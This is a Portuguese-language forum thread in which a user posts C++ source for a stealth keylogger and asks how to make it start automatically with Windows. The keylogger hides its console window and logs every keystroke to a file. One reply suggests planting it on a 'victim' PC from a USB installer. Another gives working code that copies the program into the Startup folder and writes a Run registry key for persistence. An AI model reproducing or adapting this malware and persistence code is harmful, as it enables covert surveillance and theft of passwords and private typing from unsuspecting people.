Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

AJUDA - como keylogger iniciar com windows?

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ AJUDA - como keylogger iniciar com windows?

    Este keylogger é local, eu mesmo fiz, mas queria que ele iniciasse sozinho com o Windows, como faço? segue o código. valeu ^^

    #include <iostream>
    #include <windows.h>
    #include <stdio.h>

    using namespace std;

    int salvar(int tecla, char *file);

    void esconder();
    void iniciar ();

    int main() {

    iniciar ();
    esconder(); //função para o programa ficar em segundo plano
    char a;

    while(1){

    for(a=8;a<=190;a++){
    if(GetAsyncKeyState(a) == -32767) // captura as teclas !!
    salvar(a,"log.txt"); //salva no arquivo log.txt
    }

    }

    return 0;
    }

    int salvar(int tecla, char *file){

    FILE *newarquivo;
    newarquivo = fopen(file, "a+");

    cout << tecla;
    //===========================AJUSTE DE TECLAS============================================ =======
    if(tecla == 1 || tecla == 2)
    return 0;
    else if(tecla == 8)
    fprintf(newarquivo, "%s", "[BACKSPACE]");
    else if(tecla == 18)
    fprintf(newarquivo, "%s", "[ALT]");
    else if(tecla == 20)
    fprintf(newarquivo, "%s", "[CAPS LOCK]");
    else if(tecla == 91)
    fprintf(newarquivo, "%s", "[WINDOWS]");
    else if(tecla == 13)
    fprintf(newarquivo, "%s", "\n");
    else if(tecla == 32)
    fprintf(newarquivo, "%s", " ");
    else if(tecla == 46)
    fprintf(newarquivo, "%s", ".");
    else if(tecla == VK_TAB)
    fprintf(newarquivo, "%s", "[TAB]");
    else if(tecla == VK_SHIFT)
    fprintf(newarquivo, "%s", "[SHIFT]");
    else if(tecla == VK_CONTROL)
    fprintf(newarquivo, "%s", "[CONTROL]");
    else if(tecla == VK_ESCAPE)
    fprintf(newarquivo, "%s", "[ESC]");
    else if(tecla == VK_END)
    fprintf(newarquivo, "%s", "[END]");
    else if(tecla == VK_HOME)
    fprintf(newarquivo, "%s", "[HOME]");
    else if(tecla == VK_LEFT)
    fprintf(newarquivo, "%s", "[LEFT]");
    else if(tecla == VK_UP)
    fprintf(newarquivo, "%s", "[UP]");
    else if(tecla == VK_RIGHT)
    fprintf(newarquivo, "%s", "[RIGHT]");
    else if(tecla == VK_DOWN)
    fprintf(newarquivo, "%s", "[DOWN]");
    else if(tecla == 190 || tecla == 110)
    fprintf(newarquivo, "%s", ".");
    //================================================== ==========================================teste
    else
    fprintf(newarquivo, "%s", &tecla);
    fclose (newarquivo);


    return 0;
    }

    void esconder(){

    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
    }
    Similar Threads

  • Font Size
    #2
    To começando a achar que o pessoal só ajuda os vips. Então neg, você procura um instalador, pode ser aqueles que inicia com o pendrive e injeta no pc da vitima e pede pra iniciar com o windows o seu programa. Inclusive, instale na System32 do windows ou, no proprio windows tanto faz...eu só conheço esse método através do instalador. Tem vários por ai que você pode pegar crackeado ou comprar...não sei se tem gratuito, deve ter..

    Comment


    • Font Size
      #3
      Caro amigo, existe duas maneiras simples de se fazer o que desejas.

      A primeira delas é impor no programa um comando para o mesmo se autocopie para a pasta Inicializar, do menu iniciar(em All Users), para, assim, cada vez que o sistema for reinicializado o programa se autoexecute.

      Exemplo:
      Código:
      #include <stdio.h>
      #include <windows.h>
      int main(int argc,char *Arquivo[]) // Arquivo[0] será automaticamente uma variável que contem o nome + diretório do arquivo executado
      {// inicio do programa
      char*allusersprofile=getenv("allusersprofile"); //Pega a variável de ambiente All users profile
      char arquivodestino[9999]; // cria a variável onde ficará o destino do arquivo
      strcpy(arquivodestino,allusersprofile);//agora nosso destino está com a variável allusersprofile, basta usar strcat para atribuir um nome a ele
      strcat(arquivodestino,"//Menu Iniciar//Programas//Inicializar//Nomedoarquivocopiado.exe");//pronto, agora basta usar CopyFile para copiar, ex:
      CopyFile(Arquivo[0],arquivodestino,0);//pronto, nosso programa se autocopiou para a pasta inicializar. Agora, a partir da próxima inicialização do windows ele se autoinicializará.
      return(0); // Termina o programa com sucesso (nem precisa usar se não quiser)
      }// fim do programa.A segunda é criando uma entrada no registro e se autocopiando para algum local, por exemplo, C:
      Exemplo:
      Código:
      #include <windows.h>
      #include <stdio.h>
      int main(int argc,char*Arquivo[]); // Novamente Arquivo[0] será o executável (use GetModuleFileName() caso seu programa seja Win API.
      {
      char*homedrive=getenv("homedrive");//pega o disco local, geralmente C:
      char destino[9999]; // o destino do arquivo
      strcpy(destino,homedrive);
      strcat(destino,"//Nomedoarquivo.exe");
      CopyFile(Arquivo[0],destino,0); // use if(CopyFile()) para melhores resultados
      // o arquivo já está no C:, agora vamos criar a entrada no registro para que ele se autoinicie.
      HKEY Entrada;
      RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&Entrada); 
      RegSetValueEx(Entrada,"Nomedaentrada",0,1,(LPBYTE)destino,25); 
      RegCloseKey(Entrada);
      //Pronto, agora continue seu código e, quando o windows se inicializar novamente o programa será auto-executado.
      }//fim do programa.

      Boa sorte.

      Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
      "Não subestime os fracos pois eles não agem com a força e sim com a mente."

      Comment

      X
      Working...
      X